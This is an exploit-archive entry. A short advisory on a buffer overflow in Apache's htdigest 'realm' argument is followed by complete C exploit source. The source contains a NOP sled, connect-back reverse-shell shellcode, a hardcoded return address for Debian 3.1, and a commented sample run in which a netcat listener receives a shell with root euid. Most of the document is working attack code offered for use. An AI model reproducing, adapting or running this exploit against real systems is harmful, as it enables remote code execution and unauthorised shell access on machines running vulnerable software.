source: http://www.securityfocus.com/bid/13537/info
 
A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers.
 
By supplying an overly long realm value to the command line options of htdigest, it is possible to trigger an overflow condition. This may cause memory to be corrupted with attacker-specified values.
 
This issue could be exploited by a remote attacker; potentially resulting in the execution of arbitrary system commands within the context of the web server process. 

/*
 * htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net }
 *
 * exploit for htdigest 'realm' parameter overflow; not sure on versions, seems to be <= 1.3.27 <= 2.0.52
 * http://www.securiteam.com/unixfocus/5EP061FEKC.html
 * 
 * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
 * 
 * One thing to note, apache seems to have htdigest going on quite odd, this code was written
 * for the version that the htdigest sh script links together, debian seems to install the actual binary,
 * so these might not be compatible. Also to note, this code was tested and created using the htdigest 
 * script/lt-htdigest that comes with apache 2.0.52
 *
 * kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file `./htdigest-realm-bof` user
 * Adding password for user in realm ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1�Q�Q�Q�Q�ᳰf̀��1�1�QQhfh9�fQ��SWR�ᳰf̀1�9�t1�̀1�?��̀1�?�ӱ̀1�?�ӱ̀1�1�Phn/shh//bi��PS��
 *        ̀1�̀����������������������������������������������������������������.
 *        ^[[?1;2cNew password: 
 *        Re-type new password: 
 *        
 * kspecial@xzziroz:~$ nc -lvp 1337
 * listening on [any] 1337 ...
 * 127.1.1.1: inverse host lookup failed: Unknown host
 * connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965
 * id
 * uid=1000(kspecial) gid=1000(kspecial) euid=0(root) groups=100(users),1000(kspecial),1002(media)
 *
 *
 * Of course the binary is not setuid by default. This ploit could be possibly useful to gain a
 * shell when htdigest is being ran through a CGI script.
*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

/********************************************************************************/

#define IP "127.1.1.1"
#define PORT 1337

unsigned int addys[] = { 0xbffffadd, // debian 3.1
			};
// which address to use
#define ADDY 0

/*******************************************************************************/


// Point Of EIP - The ammount of data we must write to completely overflow eip
#define POE 395

// netric callback shellcode
char cb[] = 
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
	"\x68\x41\x42\x43\x44\x66\x68\xb0"
	"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
	"\x10\x53\x57\x52\x89\xe1\xb3\x03"
	"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
	"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
	"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
	"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
	"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x50\x53\x89"
	"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
	"\x01\xcd\x80";

#define IP_OFFSET	33
#define PORT_OFFSET     39

void changeip(char *ip);
void changeport(char *code, int port, int offset);

int main (void) { 
	char buff[416];
	int a;

	changeip(IP);
	changeport(cb, PORT, PORT_OFFSET);
	
	for (a = 0; a < 200; a++) 
		*(buff+a) = 0x90;

	for (int b = 0; *(cb+b); a++, b++)
		*(buff+a) = *(cb+b);
	
	for (; a + 4 <= POE; a += 4)
		memcpy(buff+a, (addys+ADDY), 4);
	
	*(buff+a) = 0;

	fwrite(buff, strlen(buff), 1, stdout);
	return(0);
}
		
// ripped from some of snooq's code
void changeip(char *ip) {
        char *ptr;
        ptr=cb+IP_OFFSET;
        /* Assume Little-Endianess.... */
        *((long *)ptr)=inet_addr(ip);
}

// ripped from some of snooq's code
void changeport(char *code, int port, int offset) {
	char *ptr;
	ptr=code+offset;
	/* Assume Little-Endianess.... */
	*ptr++=(char)((port>>8)&0xff);
	*ptr++=(char)(port&0xff);
}	
	
	
	
		      
